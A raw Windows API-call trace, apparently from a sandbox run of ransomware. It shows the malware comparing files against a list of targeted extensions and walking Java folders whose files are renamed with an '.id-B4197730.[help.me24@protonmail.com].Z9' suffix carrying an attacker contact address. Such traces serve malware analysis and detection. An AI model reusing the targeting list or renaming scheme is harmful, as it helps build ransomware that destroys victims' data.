	[0162.615] lstrcmpiW (lpString1=".iqy", lpString2="].Z9") returned -1
	[0162.615] lstrlenW (lpString=".j2c") returned 4
	[0162.615] lstrcmpiW (lpString1=".j2c", lpString2="].Z9") returned -1
	[0162.615] lstrlenW (lpString=".j2k") returned 4
	[0162.615] lstrcmpiW (lpString1=".j2k", lpString2="].Z9") returned -1
	[0162.615] lstrlenW (lpString=".java") returned 5
	[0162.615] lstrcmpiW (lpString1=".java", lpString2="m].Z9") returned -1
	[0162.615] lstrlenW (lpString=".jp2") returned 4
	[0162.616] lstrcmpiW (lpString1=".jp2", lpString2="].Z9") returned -1
	[0162.616] lstrlenW (lpString=".jpc") returned 4
	[0162.616] lstrcmpiW (lpString1=".jpc", lpString2="].Z9") returned -1
	[0162.616] lstrlenW (lpString=".jpe") returned 4
	[0162.616] lstrcmpiW (lpString1=".jpe", lpString2="].Z9") returned -1
	[0162.616] lstrlenW (lpString=".jpeg") returned 5
	[0162.616] lstrcmpiW (lpString1=".jpeg", lpString2="m].Z9") returned -1
	[0162.616] lstrlenW (lpString=".jpf") returned 4
	[0162.616] lstrcmpiW (lpString1=".jpf", lpString2="].Z9") returned -1
	[0162.616] lstrlenW (lpString=".jpg") returned 4
	[0162.616] lstrcmpiW (lpString1=".jpg", lpString2="].Z9") returned -1
	[0162.616] lstrlenW (lpString=".jpx") returned 4
	[0162.616] lstrcmpiW (lpString1=".jpx", lpString2="].Z9") returned -1
	[0162.616] lstrlenW (lpString=".js") returned 3
	[0162.616] lstrcmpiW (lpString1=".js", lpString2=".Z9") returned -1
	[0162.616] lstrlenW (lpString=".jsf") returned 4
	[0162.616] lstrcmpiW (lpString1=".jsf", lpString2="].Z9") returned -1
	[0162.616] lstrlenW (lpString=".json") returned 5
	[0162.616] lstrcmpiW (lpString1=".json", lpString2="m].Z9") returned -1
	[0162.616] lstrlenW (lpString=".jsp") returned 4
	[0162.616] lstrcmpiW (lpString1=".jsp", lpString2="].Z9") returned -1
	[0162.616] lstrlenW (lpString=".kdc") returned 4
	[0162.616] lstrcmpiW (lpString1=".kdc", lpString2="].Z9") returned -1
	[0162.616] lstrlenW (lpString=".kmz") returned 4
	[0162.616] lstrcmpiW (lpString1=".kmz", lpString2="].Z9") returned -1
	[0162.616] lstrlenW (lpString=".kwm") returned 4
	[0162.616] lstrcmpiW (lpString1=".kwm", lpString2="].Z9") returned -1
	[0162.616] lstrlenW (lpString=".lasso") returned 6
	[0162.616] lstrcmpiW (lpString1=".lasso", lpString2="om].Z9") returned -1
	[0162.616] lstrlenW (lpString=".lbi") returned 4
	[0162.616] lstrcmpiW (lpString1=".lbi", lpString2="].Z9") returned -1
	[0162.616] lstrlenW (lpString=".lgf") returned 4
	[0162.616] lstrcmpiW (lpString1=".lgf", lpString2="].Z9") returned -1
	[0162.616] lstrlenW (lpString=".lgp") returned 4
	[0162.616] lstrcmpiW (lpString1=".lgp", lpString2="].Z9") returned -1
	[0162.616] lstrlenW (lpString=".log") returned 4
	[0162.617] lstrcmpiW (lpString1=".log", lpString2="].Z9") returned -1
	[0162.617] lstrlenW (lpString=".m1v") returned 4
	[0162.617] lstrcmpiW (lpString1=".m1v", lpString2="].Z9") returned -1
	[0162.617] lstrlenW (lpString=".m4a") returned 4
	[0162.617] lstrcmpiW (lpString1=".m4a", lpString2="].Z9") returned -1
	[0162.617] lstrlenW (lpString=".m4v") returned 4
	[0162.617] lstrcmpiW (lpString1=".m4v", lpString2="].Z9") returned -1
	[0162.617] lstrlenW (lpString=".max") returned 4
	[0162.617] lstrcmpiW (lpString1=".max", lpString2="].Z9") returned -1
	[0162.617] lstrlenW (lpString=".md") returned 3
	[0162.617] lstrcmpiW (lpString1=".md", lpString2=".Z9") returned -1
	[0162.617] lstrlenW (lpString=".mda") returned 4
	[0162.617] lstrcmpiW (lpString1=".mda", lpString2="].Z9") returned -1
	[0162.617] lstrlenW (lpString=".mdb") returned 4
	[0162.617] lstrcmpiW (lpString1=".mdb", lpString2="].Z9") returned -1
	[0162.617] lstrlenW (lpString=".mde") returned 4
	[0162.617] lstrcmpiW (lpString1=".mde", lpString2="].Z9") returned -1
	[0162.617] lstrlenW (lpString=".mdf") returned 4
	[0162.617] lstrcmpiW (lpString1=".mdf", lpString2="].Z9") returned -1
	[0162.617] lstrlenW (lpString=".mdw") returned 4
	[0162.617] lstrcmpiW (lpString1=".mdw", lpString2="].Z9") returned -1
	[0162.617] lstrlenW (lpString=".mef") returned 4
	[0162.617] lstrcmpiW (lpString1=".mef", lpString2="].Z9") returned -1
	[0162.617] lstrlenW (lpString=".mft") returned 4
	[0162.617] lstrcmpiW (lpString1=".mft", lpString2="].Z9") returned -1
	[0162.617] lstrlenW (lpString=".mfw") returned 4
	[0162.617] lstrcmpiW (lpString1=".mfw", lpString2="].Z9") returned -1
	[0162.617] lstrlenW (lpString=".mht") returned 4
	[0162.617] lstrcmpiW (lpString1=".mht", lpString2="].Z9") returned -1
	[0162.617] lstrlenW (lpString=".mhtml") returned 6
	[0162.617] lstrcmpiW (lpString1=".mhtml", lpString2="om].Z9") returned -1
	[0162.617] lstrlenW (lpString=".mka") returned 4
	[0162.617] lstrcmpiW (lpString1=".mka", lpString2="].Z9") returned -1
	[0162.617] lstrlenW (lpString=".mkidx") returned 6
	[0162.617] lstrcmpiW (lpString1=".mkidx", lpString2="om].Z9") returned -1
	[0162.617] lstrlenW (lpString=".mkv") returned 4
	[0162.617] lstrcmpiW (lpString1=".mkv", lpString2="].Z9") returned -1
	[0162.618] lstrlenW (lpString=".mos") returned 4
	[0162.618] lstrcmpiW (lpString1=".mos", lpString2="].Z9") returned -1
	[0162.618] lstrlenW (lpString=".mov") returned 4
	[0162.618] lstrcmpiW (lpString1=".mov", lpString2="].Z9") returned -1
	[0162.618] lstrlenW (lpString=".mp3") returned 4
	[0162.618] lstrcmpiW (lpString1=".mp3", lpString2="].Z9") returned -1
	[0162.618] lstrlenW (lpString=".mp4") returned 4
	[0162.618] lstrcmpiW (lpString1=".mp4", lpString2="].Z9") returned -1
	[0162.618] lstrlenW (lpString=".mpeg") returned 5
	[0162.618] lstrcmpiW (lpString1=".mpeg", lpString2="m].Z9") returned -1
	[0162.618] lstrlenW (lpString=".mpg") returned 4
	[0162.618] lstrcmpiW (lpString1=".mpg", lpString2="].Z9") returned -1
	[0162.618] lstrlenW (lpString=".mpv") returned 4
	[0162.618] lstrcmpiW (lpString1=".mpv", lpString2="].Z9") returned -1
	[0162.618] lstrlenW (lpString=".mrw") returned 4
	[0162.618] lstrcmpiW (lpString1=".mrw", lpString2="].Z9") returned -1
	[0162.618] lstrlenW (lpString=".msg") returned 4
	[0162.618] lstrcmpiW (lpString1=".msg", lpString2="].Z9") returned -1
	[0162.618] lstrlenW (lpString=".mxl") returned 4
	[0162.618] lstrcmpiW (lpString1=".mxl", lpString2="].Z9") returned -1
	[0162.618] lstrlenW (lpString=".myd") returned 4
	[0162.618] lstrcmpiW (lpString1=".myd", lpString2="].Z9") returned -1
	[0162.618] lstrlenW (lpString=".myi") returned 4
	[0162.618] lstrcmpiW (lpString1=".myi", lpString2="].Z9") returned -1
	[0162.618] lstrlenW (lpString=".nef") returned 4
	[0162.618] lstrcmpiW (lpString1=".nef", lpString2="].Z9") returned -1
	[0162.618] lstrlenW (lpString=".nrw") returned 4
	[0162.618] lstrcmpiW (lpString1=".nrw", lpString2="].Z9") returned -1
	[0162.618] lstrlenW (lpString=".obj") returned 4
	[0162.618] lstrcmpiW (lpString1=".obj", lpString2="].Z9") returned -1
	[0162.618] lstrlenW (lpString=".odb") returned 4
	[0162.618] lstrcmpiW (lpString1=".odb", lpString2="].Z9") returned -1
	[0162.618] lstrlenW (lpString=".odc") returned 4
	[0162.618] lstrcmpiW (lpString1=".odc", lpString2="].Z9") returned -1
	[0162.618] lstrlenW (lpString=".odm") returned 4
	[0162.618] lstrcmpiW (lpString1=".odm", lpString2="].Z9") returned -1
	[0162.618] lstrlenW (lpString=".odp") returned 4
	[0162.618] lstrcmpiW (lpString1=".odp", lpString2="].Z9") returned -1
	[0162.619] lstrlenW (lpString=".ods") returned 4
	[0162.619] lstrcmpiW (lpString1=".ods", lpString2="].Z9") returned -1
	[0162.619] lstrlenW (lpString=".oft") returned 4
	[0162.619] lstrcmpiW (lpString1=".oft", lpString2="].Z9") returned -1
	[0162.619] lstrlenW (lpString=".one") returned 4
	[0162.619] lstrcmpiW (lpString1=".one", lpString2="].Z9") returned -1
	[0162.619] lstrlenW (lpString=".onepkg") returned 7
	[0162.619] lstrcmpiW (lpString1=".onepkg", lpString2="com].Z9") returned -1
	[0162.619] lstrlenW (lpString=".onetoc2") returned 8
	[0162.619] lstrcmpiW (lpString1=".onetoc2", lpString2=".com].Z9") returned 1
	[0162.619] lstrlenW (lpString=".opt") returned 4
	[0162.619] lstrcmpiW (lpString1=".opt", lpString2="].Z9") returned -1
	[0162.619] lstrlenW (lpString=".oqy") returned 4
	[0162.619] lstrcmpiW (lpString1=".oqy", lpString2="].Z9") returned -1
	[0162.619] lstrlenW (lpString=".orf") returned 4
	[0162.619] lstrcmpiW (lpString1=".orf", lpString2="].Z9") returned -1
	[0162.619] lstrlenW (lpString=".p12") returned 4
	[0162.619] lstrcmpiW (lpString1=".p12", lpString2="].Z9") returned -1
	[0162.619] lstrlenW (lpString=".p7b") returned 4
	[0162.619] lstrcmpiW (lpString1=".p7b", lpString2="].Z9") returned -1
	[0162.619] lstrlenW (lpString=".p7c") returned 4
	[0162.619] lstrcmpiW (lpString1=".p7c", lpString2="].Z9") returned -1
	[0162.619] lstrlenW (lpString=".pam") returned 4
	[0162.619] lstrcmpiW (lpString1=".pam", lpString2="].Z9") returned -1
	[0162.619] lstrlenW (lpString=".pbm") returned 4
	[0162.619] lstrcmpiW (lpString1=".pbm", lpString2="].Z9") returned -1
	[0162.619] lstrlenW (lpString=".pct") returned 4
	[0162.619] lstrcmpiW (lpString1=".pct", lpString2="].Z9") returned -1
	[0162.619] lstrlenW (lpString=".pcx") returned 4
	[0162.619] lstrcmpiW (lpString1=".pcx", lpString2="].Z9") returned -1
	[0162.619] lstrlenW (lpString=".pdd") returned 4
	[0162.619] lstrcmpiW (lpString1=".pdd", lpString2="].Z9") returned -1
	[0162.619] lstrlenW (lpString=".pdf") returned 4
	[0162.619] lstrcmpiW (lpString1=".pdf", lpString2="].Z9") returned -1
	[0162.619] lstrlenW (lpString=".pdp") returned 4
	[0162.619] lstrcmpiW (lpString1=".pdp", lpString2="].Z9") returned -1
	[0162.619] lstrlenW (lpString=".pef") returned 4
	[0162.620] lstrcmpiW (lpString1=".pef", lpString2="].Z9") returned -1
	[0162.620] lstrlenW (lpString=".pem") returned 4
	[0162.620] lstrcmpiW (lpString1=".pem", lpString2="].Z9") returned -1
	[0162.620] lstrlenW (lpString=".pff") returned 4
	[0162.620] lstrcmpiW (lpString1=".pff", lpString2="].Z9") returned -1
	[0162.620] lstrlenW (lpString=".pfm") returned 4
	[0162.620] lstrcmpiW (lpString1=".pfm", lpString2="].Z9") returned -1
	[0162.620] lstrlenW (lpString=".pfx") returned 4
	[0162.620] lstrcmpiW (lpString1=".pfx", lpString2="].Z9") returned -1
	[0162.620] lstrlenW (lpString=".pgm") returned 4
	[0162.620] lstrcmpiW (lpString1=".pgm", lpString2="].Z9") returned -1
	[0162.620] lstrlenW (lpString=".php") returned 4
	[0162.620] lstrcmpiW (lpString1=".php", lpString2="].Z9") returned -1
	[0162.620] lstrlenW (lpString=".php3") returned 5
	[0162.620] lstrcmpiW (lpString1=".php3", lpString2="m].Z9") returned -1
	[0162.620] lstrlenW (lpString=".php4") returned 5
	[0162.620] lstrcmpiW (lpString1=".php4", lpString2="m].Z9") returned -1
	[0162.620] lstrlenW (lpString=".php5") returned 5
	[0162.620] lstrcmpiW (lpString1=".php5", lpString2="m].Z9") returned -1
	[0162.620] lstrlenW (lpString=".phtml") returned 6
	[0162.620] lstrcmpiW (lpString1=".phtml", lpString2="om].Z9") returned -1
	[0162.620] lstrlenW (lpString=".pict") returned 5
	[0162.620] lstrcmpiW (lpString1=".pict", lpString2="m].Z9") returned -1
	[0162.620] lstrlenW (lpString=".pl") returned 3
	[0162.620] lstrcmpiW (lpString1=".pl", lpString2=".Z9") returned -1
	[0162.620] lstrlenW (lpString=".pls") returned 4
	[0162.620] lstrcmpiW (lpString1=".pls", lpString2="].Z9") returned -1
	[0162.620] lstrlenW (lpString=".pm") returned 3
	[0162.620] lstrcmpiW (lpString1=".pm", lpString2=".Z9") returned -1
	[0162.620] lstrlenW (lpString=".png") returned 4
	[0162.620] lstrcmpiW (lpString1=".png", lpString2="].Z9") returned -1
	[0162.620] lstrlenW (lpString=".pnm") returned 4
	[0162.620] lstrcmpiW (lpString1=".pnm", lpString2="].Z9") returned -1
	[0162.620] lstrlenW (lpString=".pot") returned 4
	[0162.620] lstrcmpiW (lpString1=".pot", lpString2="].Z9") returned -1
	[0162.620] lstrlenW (lpString=".potm") returned 5
	[0162.620] lstrcmpiW (lpString1=".potm", lpString2="m].Z9") returned -1
	[0162.621] lstrlenW (lpString=".potx") returned 5
	[0162.621] lstrcmpiW (lpString1=".potx", lpString2="m].Z9") returned -1
	[0162.621] lstrlenW (lpString=".ppa") returned 4
	[0162.621] lstrcmpiW (lpString1=".ppa", lpString2="].Z9") returned -1
	[0162.621] lstrlenW (lpString=".ppam") returned 5
	[0162.621] lstrcmpiW (lpString1=".ppam", lpString2="m].Z9") returned -1
	[0162.621] lstrlenW (lpString=".ppm") returned 4
	[0162.621] lstrcmpiW (lpString1=".ppm", lpString2="].Z9") returned -1
	[0162.621] lstrlenW (lpString=".pps") returned 4
	[0162.621] lstrcmpiW (lpString1=".pps", lpString2="].Z9") returned -1
	[0162.621] lstrlenW (lpString=".ppsm") returned 5
	[0162.621] lstrcmpiW (lpString1=".ppsm", lpString2="m].Z9") returned -1
	[0162.621] lstrlenW (lpString=".ppt") returned 4
	[0162.621] lstrcmpiW (lpString1=".ppt", lpString2="].Z9") returned -1
	[0162.621] lstrlenW (lpString=".pptm") returned 5
	[0162.621] lstrcmpiW (lpString1=".pptm", lpString2="m].Z9") returned -1
	[0162.621] lstrlenW (lpString=".pptx") returned 5
	[0162.621] lstrcmpiW (lpString1=".pptx", lpString2="m].Z9") returned -1
	[0162.621] lstrlenW (lpString=".prn") returned 4
	[0162.621] lstrcmpiW (lpString1=".prn", lpString2="].Z9") returned -1
	[0162.621] lstrlenW (lpString=".ps") returned 3
	[0162.621] lstrcmpiW (lpString1=".ps", lpString2=".Z9") returned -1
	[0162.621] lstrlenW (lpString=".psb") returned 4
	[0162.621] lstrcmpiW (lpString1=".psb", lpString2="].Z9") returned -1
	[0162.621] lstrlenW (lpString=".psd") returned 4
	[0162.621] lstrcmpiW (lpString1=".psd", lpString2="].Z9") returned -1
	[0162.621] lstrlenW (lpString=".pst") returned 4
	[0162.621] lstrcmpiW (lpString1=".pst", lpString2="].Z9") returned -1
	[0162.621] lstrlenW (lpString=".ptx") returned 4
	[0162.621] lstrcmpiW (lpString1=".ptx", lpString2="].Z9") returned -1
	[0162.621] lstrlenW (lpString=".pub") returned 4
	[0162.621] lstrcmpiW (lpString1=".pub", lpString2="].Z9") returned -1
	[0162.621] lstrlenW (lpString=".pwm") returned 4
	[0162.621] lstrcmpiW (lpString1=".pwm", lpString2="].Z9") returned -1
	[0162.621] lstrlenW (lpString=".pxr") returned 4
	[0162.621] lstrcmpiW (lpString1=".pxr", lpString2="].Z9") returned -1
	[0162.621] lstrlenW (lpString=".py") returned 3
	[0162.622] lstrcmpiW (lpString1=".py", lpString2=".Z9") returned -1
	[0162.622] lstrlenW (lpString=".qt") returned 3
	[0162.622] lstrcmpiW (lpString1=".qt", lpString2=".Z9") returned -1
	[0162.622] lstrlenW (lpString=".r3d") returned 4
	[0162.622] lstrcmpiW (lpString1=".r3d", lpString2="].Z9") returned -1
	[0162.622] lstrlenW (lpString=".raf") returned 4
	[0162.622] lstrcmpiW (lpString1=".raf", lpString2="].Z9") returned -1
	[0162.622] lstrlenW (lpString=".rar") returned 4
	[0162.622] lstrcmpiW (lpString1=".rar", lpString2="].Z9") returned -1
	[0162.622] lstrlenW (lpString=".raw") returned 4
	[0162.622] lstrcmpiW (lpString1=".raw", lpString2="].Z9") returned -1
	[0162.623] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0162.623] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1
	[0162.623] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0162.623] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7ef8f0, ftCreationTime.dwHighDateTime=0x1d5ac45, ftLastAccessTime.dwLowDateTime=0xb15d8f60, ftLastAccessTime.dwHighDateTime=0x1d54fa3, ftLastWriteTime.dwLowDateTime=0xb15d8f60, ftLastWriteTime.dwHighDateTime=0x1d54fa3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="limitedcatchexemption.exe", cAlternateFileName="LIMITE~1.EXE")) returned 1
	[0162.624] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0162.624] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0162.624] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0162.624] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3b72c235, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b72c235, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Java", cAlternateFileName="")) returned 1
	[0162.628] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0162.628] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x427d70a2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x427d70a2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x427d70a2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x753c, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DT_SHM~1.Z9")) returned 1
	[0162.631] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0162.631] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43eda099, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43eda099, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43f265c3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4140, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="POLICY~1.Z9")) returned 1
	[0162.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0162.633] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4413c66a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x4413c66a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x441aee65, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4140, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SERVER~1.Z9")) returned 1
	[0162.634] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0162.634] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x446e603b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x446e603b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x4470c237, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xd96, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="COPYRI~1.Z9")) returned 1
	[0162.634] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0162.634] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1
	[0162.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0162.635] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4470c237, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x4470c237, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x44ac5d15, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="CALEND~1.Z9")) returned 1
	[0162.636] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0162.636] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44c8f835, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x44c8f835, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x44cb5ac9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x16b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="CONTEN~1.Z9")) returned 1
	[0162.639] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0162.639] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x450bbaa3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x58e8de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DEPLOY~1.Z9")) returned 1
	[0162.641] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0162.641] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1
	[0162.643] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0162.643] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1
	[0162.926] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0162.927] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cursors", cAlternateFileName="")) returned 0
	[0162.927] FindClose (in: hFindFile=0x76eb28 | out: hFindFile=0x76eb28) returned 1
	[0162.927] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0162.927] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1
